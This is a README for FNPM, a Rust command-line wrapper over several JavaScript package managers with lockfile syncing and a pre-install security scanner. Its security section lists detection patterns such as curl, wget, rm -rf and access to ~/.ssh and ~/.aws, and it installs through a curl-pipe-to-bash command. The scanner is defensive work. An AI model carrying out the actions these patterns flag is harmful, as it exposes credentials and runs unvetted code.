FNPM (F*ck NPM)

⭐ Like FNPM? Give us a star on GitHub! ⭐

A unified package manager interface that helps teams standardize their workflow while allowing developers to use their preferred tool (npm, yarn, pnpm, bun, or deno). FNPM ensures consistent lock files across the team regardless of individual package manager preferences, making it easier to maintain dependencies and avoid conflicts.

🚀 Features

• 🛡️ Advanced Security: Three-layer protection scans install scripts, source code and transitive dependencies for malicious patterns
  • Deep JavaScript analysis (eval, Function, obfuscation detection)
  • Recursive dependency tree scanning (configurable depth)
  • Pattern matching for common attack vectors
  • Pre-installation blocking of malicious packages
• Unified Interface: Use the same commands regardless of your preferred package manager
• Multiple Package Managers: Supports npm, yarn, pnpm, bun, and deno
• Seamless Hooks: Intercept direct package manager commands (e.g., pnpm add → fnpm add)
• Team Consistency: Enforce consistent lock files across your team
• Smart Detection: Automatically detects existing package managers in your project
• Interactive Setup: Guided configuration process
• Cross-Platform: Works on macOS, Linux, and Windows
• Doctor Command: Built-in diagnostics to check your environment

📦 Installation

Using the install script (Recommended)

curl -fsSL https://raw.githubusercontent.com/ideascoldigital/fnpm/main/install.sh | bash

Manual installation

1. Download the latest release from GitHub Releases
2. Extract and move the binary to your PATH

From source

git clone https://github.com/ideascoldigital/fnpm.git
cd fnpm
make install

🎯 Quick Start

First Time Setup

To get started with fnpm, simply run:

fnpm

This will guide you through the setup process and help you configure your preferred package manager.

Or setup directly with your preferred package manager:

fnpm setup npm      # Use npm
fnpm setup yarn     # Use yarn
fnpm setup pnpm     # Use pnpm
fnpm setup bun      # Use bun
fnpm setup deno     # Use deno

Check Your Environment

Run diagnostics to verify your setup:

fnpm doctor

Example Usage

# Install dependencies
fnpm install

# Add a package
fnpm add lodash

# Add a dev dependency
fnpm add -D typescript

# Run scripts
fnpm run build
fnpm run test

# Execute commands (equivalent to npx)
fnpm dlx create-react-app my-app
fnpm dlx typescript --version

🛡️ Advanced Security Auditing

FNPM provides comprehensive security protection against supply chain attacks by analyzing not just the packages you install, but their entire dependency tree.

# Add a package - comprehensive security audit runs automatically
fnpm add some-package

🔐 Security check for: some-package
   Scanning depth: 2 (includes transitive dependencies)

🔍 Scanning transitive dependencies...
   Scanning: some-package
     ↳ dependency-a
     ↳ dependency-b
       ↳ sub-dependency-1

═══════════════════════════════════════════
📊 TRANSITIVE DEPENDENCY SCAN SUMMARY
═══════════════════════════════════════════

Total packages found: 15
Successfully scanned: 15
Maximum depth reached: 2

Security Summary:
  Packages with install scripts: 0
  High/Critical risk packages: 0
  Medium risk packages: 0

✅ Security audit passed - proceeding with installation

Three-Layer Protection

Layer 1: Install Scripts Analysis

• ✅ Lifecycle scripts (preinstall, install, postinstall)
• ✅ Suspicious commands (curl, wget, bash, sh)
• ✅ Network activity (http requests, downloads)
• ✅ File operations (rm -rf, chmod, writes)
• ✅ Credential access (~/.ssh, ~/.aws, process.env)

Layer 2: Source Code Analysis

• 🚨 Critical issues: eval(), Function(), base64 obfuscation
• ⚠️ Warnings: exec(), spawn(), dynamic require()
• 🔍 Deep scan: All .js, .mjs, .cjs files
• 📍 Precise location: Shows file:line for each issue

Layer 3: Transitive Dependency Scanning (NEW! 🎉)

• 🔄 Recursive scanning: Audits the entire dependency tree
• 📊 Configurable depth: Control how deep to scan (default: 2 levels)
• 🎯 Smart deduplication: Each package scanned only once
• 📈 Aggregate reporting: Summary of all security issues found

Example: Detecting Malicious Package

fnpm add malicious-package

🔐 Security check for: malicious-package
   Scanning depth: 2 (includes transitive dependencies)

🔍 Scanning transitive dependencies...
   Scanning: malicious-package
     ↳ evil-dependency

═══════════════════════════════════════════
📊 TRANSITIVE DEPENDENCY SCAN SUMMARY
═══════════════════════════════════════════

Total packages found: 2
Successfully scanned: 2
Maximum depth reached: 1

Security Summary:
  Packages with install scripts: 2
  High/Critical risk packages: 1
  Medium risk packages: 0

⚠️  HIGH RISK PACKAGES:
  • evil-dependency - ☠ CRITICAL
    → eval: Executes arbitrary code
    → ~/.ssh: Accesses SSH keys

═══════════════════════════════════════════

? Found 1 high-risk package(s) in dependency tree. Continue anyway? (y/N)

Configuration

Control scan depth in .fnpm/config.json:

{
  "security_audit": true,
  "transitive_scan_depth": 2
}

• 0 - Disabled (only scan main package)
• 1 - Scan direct dependencies
• 2 - Scan dependencies + their dependencies (default)
• 3-5 - Deeper scanning

Read the full security documentation →
Transitive dependency scanning guide →

# Skip audit for trusted packages (not recommended)
fnpm add trusted-package --no-audit

🔄 Smart Lockfile Management

FNPM automatically detects existing lockfiles in your project and keeps them synchronized, allowing developers to use their preferred package manager while maintaining the project's original lockfile.

Example: Using Yarn in a PNPM Project

# Project has pnpm-lock.yaml but you prefer yarn
cd my-project
fnpm setup yarn

# FNPM detects the existing pnpm-lock.yaml
# ⚠️  Detected existing lockfile: pnpm-lock.yaml
#    Project uses pnpm but you selected yarn
#    FNPM will keep the original lockfile updated

# Now when you add packages with yarn...
fnpm add express

# FNPM will:
# 1. Install with yarn (creates yarn.lock)
# 2. Automatically sync pnpm-lock.yaml
# 🔄 Syncing target lockfile: pnpm-lock.yaml
# ✓ Target lockfile updated: pnpm-lock.yaml

How It Works

• Automatic Detection: FNPM detects existing lockfiles during setup
• Dual Lockfiles: Your preferred PM's lockfile + project's original lockfile
• Auto-Sync: After install, add, or remove, both lockfiles are updated
• Team Consistency: Project lockfile stays updated for the team
• Developer Freedom: Use your preferred package manager

🪝 Seamless Package Manager Integration

FNPM includes a powerful hooks system that allows your team to use their preferred package manager commands while ensuring consistency through fnpm.

Quick Setup with Hooks

# Setup fnpm with automatic hook creation
fnpm setup pnpm

# Activate hooks (add to your shell profile for permanent activation)
source .fnpm/setup.sh

Use Your Preferred Commands

Once hooks are activated, you can use your package manager directly:

# These commands are automatically redirected through fnpm
pnpm add express     # → fnpm add express
pnpm install         # → fnpm install  
pnpm run dev         # → fnpm run dev
yarn add lodash      # → fnpm add lodash (if yarn is configured)

Hook Management

# Check hook status
fnpm hooks status

# Create/update hooks
fnpm hooks create

# Remove hooks
fnpm hooks remove

# Setup without hooks (for CI/CD)
fnpm setup --no-hooks npm

For detailed information about the hooks system, see HOOKS.md.

📋 Available Commands

Command	Description
fnpm	Interactive setup wizard
fnpm setup <pm>	Setup with specific package manager (npm/yarn/pnpm/bun/deno)
fnpm install	Install dependencies
fnpm add <pkg>	Add package
fnpm add -D <pkg>	Add dev dependency
fnpm remove <pkg>	Remove package
fnpm run <script>	Run package script
fnpm dlx <cmd>	Execute command (like npx)
fnpm doctor	Run system diagnostics
fnpm hooks status	Check hooks status
fnpm hooks create	Create/update hooks
fnpm hooks remove	Remove hooks
fnpm --version	Show version
fnpm --help	Show help

🛠️ Development

Prerequisites

• Rust 1.70.0 or later
• Git

Setup Development Environment

git clone https://github.com/ideascoldigital/fnpm.git
cd fnpm
make setup

Common Development Commands

# Run development workflow (format, lint, test)
make dev

# Build the project
make build

# Run tests
make test

# Format code
make fmt

# Run linter
make clippy

# Install locally
make install

Project Structure

src/
├── main.rs              # CLI entry point
├── lib.rs               # Main library
├── config.rs            # Configuration management
├── detector.rs          # Package manager detection
├── doctor.rs            # System diagnostics
├── hooks.rs             # Hook system
├── drama_animation.rs   # Visual feedback
├── package_manager.rs   # Package manager trait
└── package_managers/    # Individual package manager implementations
    ├── npm.rs
    ├── yarn.rs
    ├── pnpm.rs
    ├── bun.rs
    └── deno.rs

🤝 Contributing

We welcome contributions! Please see CONTRIBUTING.md for detailed guidelines.

Quick start:

1. Fork the repository
2. Create your feature branch (git checkout -b feature/amazing-feature)
3. Make your changes
4. Run the development workflow (make dev)
5. Commit your changes (git commit -m 'Add some amazing feature')
6. Push to the branch (git push origin feature/amazing-feature)
7. Open a Pull Request

Additional Documentation

• llms.txt - LLM-friendly project overview and context
• Hooks System - Detailed hook system documentation
• Testing Strategy - Testing guidelines and approach
• CI/CD Pipeline - Continuous integration setup
• Cross-Platform Support - Platform-specific details
• Windows Compatibility - Windows-specific information

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• Inspired by the need for consistent package management across development teams
• Built with ❤️ using Rust

---

⭐ Show Your Support

If FNPM has helped you or your team, please consider:

• ⭐ Starring the repository
• 🐛 Reporting issues
• 💡 Suggesting features
• 🔀 Contributing code

Every star helps us grow and improve FNPM! 🚀